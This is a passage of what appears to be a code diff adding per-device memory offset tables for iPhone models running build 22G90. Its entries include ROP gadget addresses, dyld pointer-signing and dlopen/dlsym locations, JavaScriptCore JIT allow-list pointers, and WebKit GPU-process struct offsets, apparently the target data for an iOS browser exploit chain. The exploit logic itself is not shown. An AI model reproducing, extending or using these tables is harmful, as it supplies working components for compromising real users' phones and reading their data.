0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed707f08n, + free_slabs : 0x1ed7c1690n, + gadget_control_1_ios184 : 0x23ec952ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f01e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfd9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd5216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7da8b0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da560n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da568n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da570n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da4b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da578n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218869820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23ca378b4n, + libGPUCompilerImplLazy_cstring : 0x23bb81870n, + libsystem_c__atexit_mutex : 0x1ed6e6b18n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d028000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e5d80n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25788fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d02e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271708000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87ab28n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed8878f8n, + WebCore__initPKContact_value : 0x1ed887900n, + WebCore__PAL_getPKContactClass : 0x1ed87edb8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed8860d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed8860c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed8860b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87bd00n, + }, + "iPhone14,7_22G90": { + __pthread_head : 0x2694a8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa5a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa090n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9ff0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa040n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9438n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7082c8n, + free_slabs : 0x1ed7c1a50n, + gadget_control_1_ios184 : 0x23ed312ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da920n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da928n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da930n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da870n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da938n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cad38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc1d870n, + libsystem_c__atexit_mutex : 0x1ed6e6ed8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6140n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25792fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271b6c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87aee8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887cb8n, + WebCore__initPKContact_value : 0x1ed887cc0n, + WebCore__PAL_getPKContactClass : 0x1ed87f178n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886490n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886488n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed886470n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c0c0n, + }, + "iPhone14,8_22G90": { + __pthread_head : 0x2694a8020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa5a8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fa090n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8f9ff0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fa040n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8f9438n, + AXCoreUtilities__DefaultLoader : 0x1eb60c6b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee752e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfac470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfac5c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7bd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf7c22cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf7c790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf7c34cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e95c90n, + DesktopServicesPriv_bss : 0x1ecacd5e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f1fc8n, + dyld__RuntimeState_emptySlot : 0x1a9633b6cn, + dyld__RuntimeState_vtable : 0x1f2690ab0n, + dyld__signPointer : 0x1a95fd3e4n, + emptyString : 0x1ed930420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed7082c8n, + free_slabs : 0x1ed7c1a50n, + gadget_control_1_ios184 : 0x23ed312ecn, + gadget_control_2_ios184 : 0x1ad42cc28n, + gadget_control_3_ios184 : 0x21f02e150n, + gadget_loop_1_ios184 : 0x1866085dcn, + gadget_loop_2_ios184 : 0x20cfe9ce8n, + gadget_loop_3_ios184 : 0x184d39f1cn, + gadget_set_all_registers_ios184 : 0x20dd6216cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee614660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7732a0n, + HOMEUI_cstring : 0x182f764e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dac70n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7da920n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7da928n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7da930n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7da870n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7da938n, + ImageIO__gImageIOLogProc : 0x1ee7dd3f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866282cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ea8bcn, + JavaScriptCore__jitAllowList : 0x1ed95a470n, + JavaScriptCore__jitAllowList_once : 0x1ed95a288n, + jsc_base : 0x19a0fe000n, + libARI_cstring : 0x218879820n, + libdyld__dlopen : 0x1ad42e7b8n, + libdyld__dlsym : 0x1ad42fa34n, + libdyld__gAPIs : 0x1ed3d4000n, + libGPUCompilerImplLazy__invoker : 0x23cad38b4n, + libGPUCompilerImplLazy_cstring : 0x23bc1d870n, + libsystem_c__atexit_mutex : 0x1ed6e6ed8n, + libsystem_kernel__thread_suspend : 0x1d39f31c0n, + libsystem_pthread_base : 0x20d038000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6e6140n, + mainRunLoop : 0x1ed948020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba829744n, + PerfPowerServicesReader_cstring : 0x25792fe60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d03e988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a2830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x271b6c000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87aee8n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed958708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d20b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ea930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b5fec00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edba93b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119a7c0n, + WebCore__initPKContact_once : 0x1ed887cb8n, + WebCore__initPKContact_value : 0x1ed887cc0n, + WebCore__PAL_getPKContactClass : 0x1ed87f178n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed886490n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed886488n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed886470n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee968548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb76d6b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb728300n, + WebProcess_ensureGPUProcessConnection : 0x198da2e34n, + WebProcess_gpuProcessConnectionClosed : 0x19976ec4cn, + WebProcess_singleton : 0x1ed87c0c0n, + }, + "iPhone15,2_22G90": { + __pthread_head : 0x26a224020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe6e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe1d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe130n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe180n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd578n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c408n, + free_slabs : 0x1ed7c5b90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dedb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dea60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dea68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dea70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7de9b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dea78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6eb018n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea280n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257aeae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272914000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f028n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__initPKContact_once : 0x1ed88bdf8n, + WebCore__initPKContact_value : 0x1ed88be00n, + WebCore__PAL_getPKContactClass : 0x1ed8832b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a5d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a5c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a5b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880200n, + }, + "iPhone15,3_22G90": { + __pthread_head : 0x26a224020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fe6e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1777150n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisMarker : 0x1ed8fe1d0n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisProviderRequest : 0x1ed8fe130n, + AVFAudio__OBJC_CLASS__AVSpeechSynthesisVoice : 0x1ed8fe180n, + AVFAudio__OBJC_CLASS__AVSpeechUtterance : 0x1ed8fd578n, + AXCoreUtilities__DefaultLoader : 0x1eb6106b0n, + CAPointer : 0x20n, + CFNetwork__gConstantCFStringValueTable : 0x1ee756e88n, + CGContextDelegate : 0x28n, + CMPhoto__CMPhotoCompressionCreateContainerFromImageExt : 0x1abfb0470n, + CMPhoto__CMPhotoCompressionCreateDataContainerFromImage : 0x1abfb05c8n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImage : 0x1abf7fd00n, + CMPhoto__CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1abf8022cn, + CMPhoto__CMPhotoCompressionSessionAddCustomMetadata : 0x1abf80790n, + CMPhoto__CMPhotoCompressionSessionAddExif : 0x1abf8034cn, + CMPhoto__kCMPhotoTranscodeOption_Strips : 0x1e7e99c90n, + DesktopServicesPriv_bss : 0x1ecad15e8n, + dyld__dlopen_from_lambda_ret : 0x1a95f5fc8n, + dyld__RuntimeState_emptySlot : 0x1a9637b6cn, + dyld__RuntimeState_vtable : 0x1f2694ab0n, + dyld__signPointer : 0x1a96013e4n, + emptyString : 0x1ed934420n, + Foundation__NSBundleTables_bundleTables_value : 0x1ed70c408n, + free_slabs : 0x1ed7c5b90n, + gadget_control_1_ios184 : 0x23ed752ecn, + gadget_control_2_ios184 : 0x1ad430c28n, + gadget_control_3_ios184 : 0x21f032150n, + gadget_loop_1_ios184 : 0x18660c5dcn, + gadget_loop_2_ios184 : 0x20cfedce8n, + gadget_loop_3_ios184 : 0x184d3df1cn, + gadget_set_all_registers_ios184 : 0x20dd6616cn, + GetCurrentThreadTLSIndex_CurrentThreadIndex : 0x1ee618660n, + GPUConnectionToWebProcess_m_remoteGraphicsContextGLMap : 0xf0n, + GPUProcess_singleton : 0x1eb7772a0n, + HOMEUI_cstring : 0x182f7a4e6n, + ImageIO__gFunc_CMPhotoCompressionCreateContainerFromImageExt : 0x1ed7dedb0n, + ImageIO__gFunc_CMPhotoCompressionCreateDataContainerFromImage : 0x1ed7dea60n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImage : 0x1ed7dea68n, + ImageIO__gFunc_CMPhotoCompressionSessionAddAuxiliaryImageFromDictionaryRepresentation : 0x1ed7dea70n, + ImageIO__gFunc_CMPhotoCompressionSessionAddCustomMetadata : 0x1ed7de9b0n, + ImageIO__gFunc_CMPhotoCompressionSessionAddExif : 0x1ed7dea78n, + ImageIO__gImageIOLogProc : 0x1ee7e13f0n, + ImageIO__IIOLoadCMPhotoSymbols : 0x18866682cn, + IOSurfaceContextDelegate : 0x120n, + IOSurfaceDrawable : 0x150n, + IOSurfaceQueue : 0x48n, + JavaScriptCore__globalFuncParseFloat : 0x19a4ee8bcn, + JavaScriptCore__jitAllowList : 0x1ed95e470n, + JavaScriptCore__jitAllowList_once : 0x1ed95e288n, + jsc_base : 0x19a102000n, + libARI_cstring : 0x21887d820n, + libdyld__dlopen : 0x1ad4327b8n, + libdyld__dlsym : 0x1ad433a34n, + libdyld__gAPIs : 0x1ed3d8000n, + libGPUCompilerImplLazy__invoker : 0x23cb178b4n, + libGPUCompilerImplLazy_cstring : 0x23bc61870n, + libsystem_c__atexit_mutex : 0x1ed6eb018n, + libsystem_kernel__thread_suspend : 0x1d39f71c0n, + libsystem_pthread_base : 0x20d03c000n, + m_backend : 0x70n, + m_drawingArea : 0x50n, + m_gpuProcessConnection : 0x158n, + m_gpuProcessConnection_m_identifier : 0x38n, + m_imageBuffer : 0x18n, + m_isRenderingSuspended : 0xe8n, + m_platformContext : 0x38n, + m_remoteDisplayLists : 0x70n, + m_remoteRenderingBackendMap : 0xe8n, + m_webProcessConnections : 0x80n, + mach_task_self_ptr : 0x1ed6ea280n, + mainRunLoop : 0x1ed94c020n, + MediaAccessibility__MACaptionAppearanceGetDisplayType : 0x1ba82d744n, + PerfPowerServicesReader_cstring : 0x257aeae60n, + privateState_off : 0x7e8n, + pthread_create : 0x20d042988n, + pthread_create_auth_stub : 0x17a4830n, + pthread_create_jsc : 0x19b8a6830n, + pthread_create_offset : 0x6988n, + pthread_linkedit : 0x272914000n, + RemoteGraphicsContextGLWorkQueue : 0x1ed87f028n, + RemoteRenderingBackendProxy_off : 0x830n, + runLoopHolder_tid : 0x1ed95c708n, + rxBufferMtl_off : 0x100n, + rxMtlBuffer_off : 0x70n, + Security__gSecurityd : 0x1eb4d60b0n, + Security__SecKeychainBackupSyncable_block_invoke : 0x18b5ee930n, + Security__SecOTRSessionProcessPacketRemote_block_invoke : 0x18b602c00n, + TextToSpeech__OBJC_CLASS__TtC12TextToSpeech27TTSMagicFirstPartyAudioUnit : 0x1edbad3b8n, + UI_m_connection : 0x28n, + vertexAttribVector_off : 0x2548n, + WebCore__DedicatedWorkerGlobalScope_vtable : 0x1f119e7c0n, + WebCore__initPKContact_once : 0x1ed88bdf8n, + WebCore__initPKContact_value : 0x1ed88be00n, + WebCore__PAL_getPKContactClass : 0x1ed8832b8n, + WebCore__softLinkDDDFACacheCreateFromFramework : 0x1ed88a5d0n, + WebCore__softLinkDDDFAScannerFirstResultInUnicharArray : 0x1ed88a5c8n, + WebCore__softLinkMediaAccessibilityMACaptionAppearanceGetDisplayType : 0x1ed88a5b0n, + WebCore__softLinkOTSVGOTSVGTableRelease : 0x1ee96c548n, + WebCore__TelephoneNumberDetector_phoneNumbersScanner_value : 0x1eb7716b0n, + WebCore__ZZN7WebCoreL29allScriptExecutionContextsMapEvE8contexts : 0x1eb72c300n, + WebProcess_ensureGPUProcessConnection : 0x198da6e34n, + WebProcess_gpuProcessConnectionClosed : 0x199772c4cn, + WebProcess_singleton : 0x1ed880200n, + }, + "iPhone15,4_22G90": { + __pthread_head : 0x269850020n, + AVFAudio__AVLoadSpeechSynthesisImplementation_onceToken : 0x1ed8fa8e8n, + AVFAudio__cfstr_SystemLibraryTextToSpeech : 0x1f1773150n, + 